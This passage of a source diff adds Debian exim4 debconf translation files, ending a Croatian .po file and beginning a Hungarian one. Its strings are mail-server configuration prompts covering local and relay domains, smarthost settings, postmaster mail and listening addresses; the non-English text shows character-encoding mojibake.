"" +"Molim unesite popis domena primatelja e-poÅ¡te odvojen toÄka-zarezima za koje " +"se ovaj stroj smatra konaÄnim odrediÅ¡tem. Ove domene se obiÄno nazivaju " +"\"lokalnim domenama\". Ime sustava e-poÅ¡te (${fqdn}) i ime 'localhost' se " +"uvijek automatski dodaju na popis koji se upiÅ¡e ovdje." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Sve će lokalne domene isprva biti tretirane jednako. Ako su i a.primjer i b." +"primjer lokalne domene, poruke za korisnik@a.primjer i korisnik@b.primjer će " +"biti isporuÄene na isto konaÄno odrediÅ¡te. Ako se razliÄite domene trebaju " +"tretirati razliÄito, potrebno je naknadno urediti konfiguracijske datoteke." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domene za koje se poÅ¡ta prenosi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Ovo je popis domena primatelja odvojen toÄka-zarezima za koje će ovaj sustav " +"prenositi e-poÅ¡tu, naprimjer kao sekundarni MX ili mail gateway. To znaÄi da " +"će ovaj sustav primati poruke za ove domene od bilo koga s Interneta, i " +"isporuÄivati ih na osnovu lokalnih pravila za isporuku." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Nemojte ovdje spominjati lokalne domene. Možete koristiti zamjenske znakove." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Strojevi za koje se poÅ¡ta prenosi:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Molim upiÅ¡ite popis raspona IP adresa odvojenih toÄka-zarezima za koje će " +"ovaj sustav prenositi svu e-poÅ¡tu, radeći kao 'smarthost'." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Rabite standardni oblik adresa/prefiks (npr. 194.222.242.0/24 ili " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Ako ovaj sustav ne treba biti 'smarthost' ni za jedan drugi stroj, ostavite " +"popis prazan." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Ime domene vidljivo lokalnim korisnicima:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Omogućeno je skrivanje lokalnog imena sustava e-poÅ¡te u odlaznoj poÅ¡ti. Zato " +"je potrebno odrediti ime koje će ovaj sustav koristiti kao domenski dio " +"adresa e-poÅ¡te lokalnih korisnika." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP adresa ili ime stroja za odlazni 'smarthost':" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Molim upiÅ¡ite IP adresu ili ime poslužitelja e-poÅ¡te kojeg ovaj sustav treba " +"koristiti kao odlazni 'smarthost'. Ako 'smarthost' prima vaÅ¡u poÅ¡tu na portu " +"koji nije TCP/25, dodajte dvije dvotoÄke i željeni broj porta (naprimjer " +"smarthost.primjer::587 ili 192.168.254.254::2525). DvotoÄke u IPv6 adresama " +"treba poduplati." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Ako odlazni 'smarthost' zahtijeva autentikaciju (ovjeru pristupa), molim " +"pogledajte Debianove README datoteke u /usr/share/doc/exim4-base za " +"obavijesti kako postaviti ovjeravanje SMTP-a." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Primatelj poÅ¡te za korijenskog korisnika i 'postmaster'-a:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"E-poÅ¡ta za \"postmaster\", \"root\", i druge sistemske korisniÄke raÄune " +"treba biti preusmjerena na korisniÄki raÄun stvarnog administratora sustava." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Ako ovu vrijednost ostavite praznom, takva e-poÅ¡ta će se spremiti u /var/" +"mail/mail, Å¡to se ne preporuÄa." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Znajte da poÅ¡tu za 'postmastera' treba Äitati na sustavu na koji je " +"usmjerena, radije nego da je se proslijedi drugdje. Zato barem jedan od " +"korisnika koje ste izabrali ne bi trebao preusmjeravati svoju poÅ¡tu s ovoga " +"stroja. Rabite predznak 'real-' kako bi prisilili na lokalnu dostavu." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Ako upisujete viÅ¡e korisniÄkkih imena, odvojite ih razmacima." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP adrese na kojima treba sluÅ¡ati dolazeće SMTP veze:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Molim unesite popis IP adresa odvojen toÄka-zarezima. Eximov 'daemon' za " +"sluÅ¡anje na SMTP portu će sluÅ¡ati na svim ovdje navedenim IP adresama." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Ako ostavite prazno, Exim će sluÅ¡ati na SMTP portovima svih dostupnih " +"mrežnih suÄelja." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Ako ovo raÄunalo izravno prima e-poÅ¡tu samo preko lokalnih servisa (a ne s " +"drugih strojeva), preporuÄuje se zabraniti izvanjske veze s Eximom. To se " +"dogaÄ‘a ako koristite program za e-poÅ¡tu (MUA) koji priÄa s poslužiteljem " +"samo putem localhosta, ili kod koriÅ¡tenja fetchmaila. Izvanjske veze su " +"nemoguće ako ovdje upiÅ¡ete 127.0.0.1 i tako onemogućite sluÅ¡anje SMTP veza " +"na javnim mrežnim suÄeljima." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Održi najmanji broj DNS upita (spajanje na zahtjev)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"U normalnom naÄinu rada, Exim vrÅ¡i DNS upite pri pokretanju, primanju ili " +"isporuci poruka. To se radi zbog bilježenja i da bi se u postavkama moglo " +"držati Å¡to manje ruÄno upisanih vrijednosti." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Ako je ovo stroj bez stalnog pristupa DNS imenskom poslužitelju (naprimjer, " +"ako pristup na Internet ostvaruje povremenom vezom koja se spaja na " +"zahtjev), ovo može imati neželjenih posljedica. Naprimjer, samo pokretanje " +"Exima ili prolazak kroz red poruka (Äak i ako u njemu ne Äeka nijedna " +"poruka) može prouzroÄiti skupo pozivanje zbog spajanja na mrežu." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Ovu opciju treba odabrati ako ovaj sustav koristi spajanje na zahtjev. Ako " +"on ima stalni pristup Internetu, ovu opciju treba onemogućiti." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "PodeÅ¡avanje poslužitelja e-poÅ¡te" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Razdijeli postavke u male datoteke?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debianovi exim4 paketi mogu rabiti ili \"nerazdijeljene postavke\", jednu " +"monolitnu datoteku (/etc/exim4/exim4.conf.template), \"razdijeljene postavke" +"\", pri Äemu se postavke Exima slažu iz oko 50 malih datoteka koje se nalaze " +"u /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Nerazdijeljene postavke bolje odgovaraju većim promjenama i općenito su " +"stabilnije, dok razdijeljene postavke olakÅ¡avaju manje izmjene, ali su i " +"krhkije i mogu zakazati ako se neoprezno mijenjaju." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Detaljnija diskusija razdijeljenih i nerazdijeljenih postavki se može " +"pronaći u Debianovim README datotekama u /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Skrij lokalno ime e-mail sustava u odlaznoj poÅ¡ti?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Zaglavlja odlazne poÅ¡te se mogu prepisati tako da izgledaju kao da su " +"naÄinjena na drugome sustavu. Ako odaberete ovu opciju, prepisivat će se " +"oznake \"${mailname}\", \"localhost\" i \"${dc_other_hostnames}\" u " +"zaglavljima 'From', 'Reply-To', 'Sender' i 'Return-Path'." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox oblik u /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir oblik u home direktorijima" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "NaÄin isporuke lokalne poÅ¡te:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim može lokalno isporuÄenu poÅ¡tu spremati u razliÄitim oblicima. Dva " +"najÄešće koriÅ¡tena oblika su mbox i Maildir. mbox koristi jednu datoteku za " +"cijelu mapu e-poÅ¡te i sprema je u /var/mail/. Kod oblika Maildir, svaka " +"pojedina poruka se sprema u zasebnu datoteku u ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Imajte na umu da većina alata za rad s mailom u Debianu oÄekuje da će naÄin " +"isporuke lokalne poÅ¡te biti mbox." diff --git a/debian/po/hu.po b/debian/po/hu.po new file mode 100644 index 0000000..ebd9f59 --- /dev/null +++ b/debian/po/hu.po @@ -0,0 +1,880 @@ +# translation of exim4 to Hungarian +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2006-10-14 14:39+0100\n" +"Last-Translator: SZERVÃC Attila <sas@321.hu>\n" +"Language-Team: Hungarian <debian-l10n-hungarian@lists.debian.org>\n" +"Language: hu\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"Plural-Forms: Plural-Forms: nplurals=2; plural=n>1;\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "EltávolÃtod a spool könyvtárban lévÅ‘ kézbesÃtetlen leveleket?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"KézbesÃtetlen levelek vannak a /var/spool/exim4/input könyvtárban. Az Exim " +"eltávolÃtása után annak újratelepÃtésééig ezek Ãgy is maradnak." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"E lehetÅ‘ség elvetésével a spool könyvtár megmarad, lehetÅ‘vé téve a sorban " +"lévÅ‘ üzenetek kézbesÃtését az Exim újratelepÃtésekor." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Az exim4-config csomag újrakonfigurálása e csomag helyett" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +#, fuzzy +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Az Exim4 beállÃtása az exim4-config önálló csomagban van. Az Exim4 " +"újrakonfigurálásához használd a dpkg-reconfigure exim4-config parancsot." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internetes gép; levélküldés és -fogadás közvetlenül SMTP-vel" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "levélküldés \"smarthost\" útján; -fogadás SMTP vagy fetchmail révén" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "levélküldés \"smarthost\" útján; nincs helyi levelezés" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "csak helyi kézbesÃtés; hálózatban nem" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "konfigurálás mellÅ‘zése" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Levelezési konfiguráció általános tÃpusa:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Válaszd az igényeidnek leginkább megfelelÅ‘ levelezÅ‘ kiszolgáló beállÃtás " +"tÃpust." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +#, fuzzy +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"A dinamikus IP-cÃmű rendszerek, Ãgy a betárcsázók is leveleiket általában " +"egy más, úgynevezett \"smarthost\" gépen át küldik, mert az Interneten lévÅ‘ " +"sok cÃmzett levél-szemét védelem cÃmén gátolja a dinamikus IP-cÃmekrÅ‘l " +"érkezÅ‘ leveleket" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"A dinamikus IP-cÃmekkel rendelkezÅ‘ gépek is képesek fogadni leveleiket, de a " +"helyi kézbesÃtés teljesen ki is kapcsolható (kivéve a root és postmaster " +"leveleit)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "A levelezÅ‘rendszert tényleg konfigurálatlanul hagyod?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +#, fuzzy +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"A levelezÅ‘rendszer beállÃtásáig nem lesz használható. A késÅ‘bbi beállÃtás " +"elvégezhetÅ‘ kézzel, vagy a \"dpkg-reconfigure exim4-config\" root " +"felhasználókénti futtatásával." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "A rendszer levelezésben használt neve:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"A \"levél név\" annak a tartománynak neve, mely tartomány nélküli " +"levélcÃmeket \"minÅ‘sÃt\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"E nevet más programok is használják. Egyedi, teljes tartomány név (FQDN) " +"legyen." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Például, ha egy levél cÃm a helyi gépen foo@tartomány.példa, e lehetÅ‘ség " +"helyes értéke tartomány.példa" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +#, fuzzy +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"E név nem jelenik meg a kimenÅ‘ levelek From: soraiban átÃró állapotban." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Más cÃmzettek, melyre leveleket fogadsz:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Add meg pontosvesszÅ‘vel elválasztva a cÃmzett tartományokat, melyeket e gép " +"végcélnak tekint, kivéve saját helyi neveit (${fqdn}) és \"localhost\"). E " +"tartományok szokásos neve \"helyi tartományok\"." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Alapértelmezetten minden helyi tartomány azonos kezelést kap. Ha az a.példa " +"és b.példa is helyi tartomány, végül a fiók@a.példa és fiók@b.példa is " +"ugyanoda lesz kézbesÃtve. Tartomány nevek eltérÅ‘ kezelése késÅ‘bb beállÃtó " +"fájlok módosÃtását igényli." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "LevéltovábbÃtása fogadott tartományok:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Add meg pontosvesszÅ‘kkel elválasztva a cÃmzett tartományokat, melyekre e " +"rendszer leveleket továbbÃtson, például mint pót MX vagy levél átjáró. Ez " +"azt jelenti, hogy e rendszer bárhonnan az InternetrÅ‘l elfogad leveleket e " +"tartományokra és a helyi kézbesÃtési szabályoknak megfelelÅ‘en kézbesÃti Å‘ket." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Ne emlÃts helyi tartományokat itt. HelyettesÃtÅ‘ karakterek használhatók." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "LevéltovábbÃtásra fogadott gépek:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +#, fuzzy +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Adj meg pontosvesszÅ‘kkel elválasztva IP-tartományokat, melyek számára e " +"rendszer tetszÅ‘legesen továbbÃt leveleket továbbÃt mint smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"A szabvány cÃm/hossz formát használd (például 194.222.242.0/24 vagy " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "Ha e rendszer nem smarthost másoknak, hagyd üresen." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Helyi felhasználók levelein feltüntetendÅ‘ tartománynév:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"A kimenÅ‘ levelek helyi levelezÅ‘ neve rejtése bekapcsolva. Ezért meg kell " +"adni a tartomány nevét, melyet e rendszer a helyi felhasználók küldÅ‘ cÃmei " +"tartomány részeként használjon." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "A kimenÅ‘ smarthost IP-cÃme vagy gépneve:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Add meg az e rendszer által kimenÅ‘ smarthost-ként használt levelezÅ‘ " +"kiszolgáló IP-cÃmét vagy gépnevét. Ha a smarthost számára a TCP/25 port nem " +"megfelelÅ‘, adj hozzá 2 kettÅ‘spontot és a port számát (például smarthost." +"példa:587 vagy 192.168.254.254::2525). Az IPv6 cÃmekben dupla kettÅ‘spont " +"kell." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +#, fuzzy +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Ha a smarthost hitelesÃtést igényel, lásd a /usr/share/doc/exim4-base/README." +"Debian.gz-t az SMTP-hitelesÃtés beállÃtásokról." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "A \"root\" és \"postmaster\" felhasználóknak cÃmzett leveleket kapja:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"A \"postmaster\", \"root\" és más rendszer-fiókok leveleit a rendszergazda " +"által használt normál felhasználói fiókba kell irányÃtani." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Ha ez ez érték üresen marad, az ilyen levél a /var/mail/mail-be kerül, mely " +"nem ajánlott." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"A postmaster leveleit ajánlott helyben olvasni, nem máshová továbbÃtani, " +"azért az itt felsorolt felhasználók ne továbbÃtsák leveleiket más gépre " +"(legalább egyikük). Egy \"real-\" elÅ‘tag kikényszerÃti a helyi kézbesÃtést." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +#, fuzzy +msgid "Multiple user names need to be separated by spaces." +msgstr "Több felhasználónevet szóközzel kell elálasztani." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "BejövÅ‘ SMTP-kapcsolatokat figyelÅ‘ IP-cÃmek:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Add meg az IP-cÃmeket pontosvesszÅ‘vel elválasztva. Az Exim SMTP figyelÅ‘ " +"démon minden itt megadott IP-cÃmen figyel." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Ha üresen marad, az Exim az összes elérhetÅ‘ hálózati csatolón figyeli a " +"kapcsolatokat." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +#, fuzzy +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Ha e rendszer csak helyi szolgáltatásoktól, mint például fetchmail vagy " +"email-kliens (MUA) fogad leveleket (más gépektÅ‘l nem), érdemes tiltani a " +"helyi Exim külsÅ‘ kapcsolatait. Ez a 127.0.0.1 megadásával érhetÅ‘ el. Ez " +"kikapcsolja a nyilvános hálózati csatolókon való figyelést." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Minimalizálod a DNS-kérések számát (szükséges kapcsolódáskor)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " 